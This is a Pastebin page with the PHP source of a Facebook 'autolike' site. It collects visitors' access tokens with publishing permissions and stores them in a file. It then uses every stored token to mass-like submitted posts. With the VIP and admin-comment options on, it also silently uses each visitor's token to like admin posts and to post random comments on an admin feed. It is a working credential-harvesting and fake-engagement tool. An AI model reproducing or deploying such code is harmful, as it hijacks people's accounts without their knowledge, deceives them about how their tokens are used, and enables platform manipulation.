Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- HOME.PHP
- <?php
- include("config.php");
- include("proxy.php");
- //cegah pencuri
- $cekown = strripos($_SERVER["HTTP_REFERER"], $urlown);
- if($cekown < 1)
- {
- if(isset($_SERVER["HTTP_REFERER"])){
- $curi = fopen($pencuri, "a");
- fwrite($curi, $_SERVER["HTTP_REFERER"].PHP_EOL);
- fclose($curi);
- }
- die("Error Alien request...click here <a href='http://".$autolikeweb."'>".$autolikeweb."</a> to use autolike");
- }
- //tamat cegahpencuri
- //check token ada
- if($token === null)
- {
- die("Please submit access token");
- }
- //tamat cek token ada
- //cek token invalid
- $userinfo = tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus);
- $check = strripos($userinfo, "OAuthException");
- if($check > 1)
- {
- die("Access token invalid");
- }
- //tamat cek token invalid
- //apps blocker
- $check = tobitaz("graph.facebook.com/app?access_token=".$token, $proxystatus);
- $cek = strripos($check, $appid);
- if($token != null)
- {
- if($cek === false)
- {
- die("Please use accesstokens from apps that we provide");
- }
- }
- //tamat app blocker
- //check permision
- $per1 = "user_likes";
- $per2 = "publish_stream";
- $taf = tobitaz("graph.facebook.com/me/permissions?access_token=".$token, $proxystatus);
- $ga = strripos($taf, $per1);
- $gu = strripos($taf, $per2);
- if($ga < 1 or $gu < 1)
- {
- die("Please allow ".$per1." And ".$per2." Permission!");
- }
- //tamat chek permision
- //save token ok
- $idusers = json_decode($userinfo)->id;
- $cre = fopen($tokenko, "a");
- $f = file_get_contents($tokenko);
- $cf = strripos($f, $token);
- $cf2 = strripos($f, $idusers);
- if($cf === false && $cf2 === false)
- {
- fwrite($cre, $token."&nama=".$idusers.PHP_EOL);
- }
- fclose($cre);
- //tamat save token ok
- //feed id and message
- $staid = tobitaz("graph.facebook.com/me/feed?fields=id,message&access_token=".$token, $proxystatus);
- $taz = json_decode($staid)->data;
- //tamat feed id and message
- //start otolke
- $statusid = $_POST["statusid"];
- if($statusid != null)
- {
- if($limit == "on")
- {
- $geto = explode(PHP_EOL, $f, $limitlikes);
- foreach($geto as $phhc)
- {
- $phc = trim($phhc);
- tobitaz("graph.facebook.com/".$statusid."/likes?method=post&access_token=".$phc, $proxystatus);
- }
- }
- else
- {
- $geto = explode(PHP_EOL, $f);
- foreach($geto as $phhc)
- {
- $phc = trim($phhc);
- tobitaz("graph.facebook.com/".$statusid."/likes?method=post&access_token=".$phc, $proxystatus);
- }
- }
- //vip 1 autolike
- if($vipautolike == "on")
- {
- foreach($listadmin as $admin)
- {
- $jsta = json_decode(tobitaz("graph.facebook.com/".$admin."/feed?fields=id&access_token=".$token, $proxystatus))->data;
- tobitaz("graph.facebook.com/".$jsta[0]->id."/likes?method=post&access_token=".$token, $proxystatus);
- }
- }
- //chek id
- if($komenadmin == "on")
- {
- $jagu = json_decode(tobitaz("graph.facebook.com/".$komendi."/feed?fields=id&access_token=".$token, $proxystatus))->data;
- if($komenxdouble == "on")
- {
- $fnod = file_get_contents("id.txt");
- //cek id strripos
- $nos = strripos($fnod, json_decode($userinfo)->id.$jagu[0]->id);
- if($nos === false)
- {
- if($girlonly == "on")
- {
- if($userinfo->gender == "female")
- {
- $koawe = $kokop[array_rand($kokop)];
- tobitaz("graph.facebook.com/".$jagu[0]->id."/comments?access_token=".$token."&method=post&message=".$koawe, $proxystatus);
- }
- }
- elseif($guyonly == "on")
- {
- if($userinfo->gender == "male")
- {
- $koawe = $kokop[array_rand($kokop)];
- tobitaz("graph.facebook.com/".$jagu[0]->id."/comments?access_token=".$token."&method=post&message=".$koawe, $proxystatus);
- }
- }
- else
- {
- $koawe = $kokop[array_rand($kokop)];
- tobitaz("graph.facebook.com/".$jagu[0]->id."/comments?access_token=".$token."&method=post&message=".$koawe, $proxystatus);
- }
- }
- //no double comment
- $nodc = fopen("id.txt", "a+");
- fwrite($nodc, $nod->id.$jagu[0]->id.PHP_EOL);
- fclose($nodc);
- //no double comment
- }
- else
- {
- if($girlonly == "on")
- {
- if($userinfo->gender == "female")
- {
- $koawe = $kokop[array_rand($kokop)];
- tobitaz("graph.facebook.com/".$jagu[0]->id."/comments?access_token=".$token."&method=post&message=".$koawe, $proxystatus);
- }
- }
- elseif($guyonly == "on")
- {
- if($userinfo->gender == "male")
- {
- $koawe = $kokop[array_rand($kokop)];
- tobitaz("graph.facebook.com/".$jagu[0]->id."/comments?access_token=".$token."&method=post&message=".$koawe, $proxystatus);
- }
- }
- else
- {
- $koawe = $kokop[array_rand($kokop)];
- tobitaz("graph.facebook.com/".$jagu[0]->id."/comments?access_token=".$token."&method=post&message=".$koawe, $proxystatus);
- }
- }
- }
- echo "<script>window.location = '".$remover."'</script>";
- }
- chmod($tokenko, 0600);
- ?>
- <body style="background-color:black; width:100%;">
- <center>
- <img src="https://graph.facebook.com/me/picture?type=large&access_token=<?php echo $token; ?>" /><br />
- <font color="white"><?php echo json_decode($userinfo)->name; ?></font><br />
- <div style="border:3px grey outset; background-color:grey; width:60%;">
- <form action="" method="post">
- <font color="red">STATUS:</font><br /><font color="white"><?php echo $taz[0]->message; ?></font>
- <input type="hidden" name="token" value="'.$token.'"><br />
- <font color="white" style="float:left;">statusid:</font><br /><input name="statusid" value="<?php echo $taz[0]->id; ?>" style="float:left;">
- <br /> <button type="submit" style="float:right; border:3px red outset; color:white; background-color:red;">AUTOLIKE</button>
- </form><br /></div><br />
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement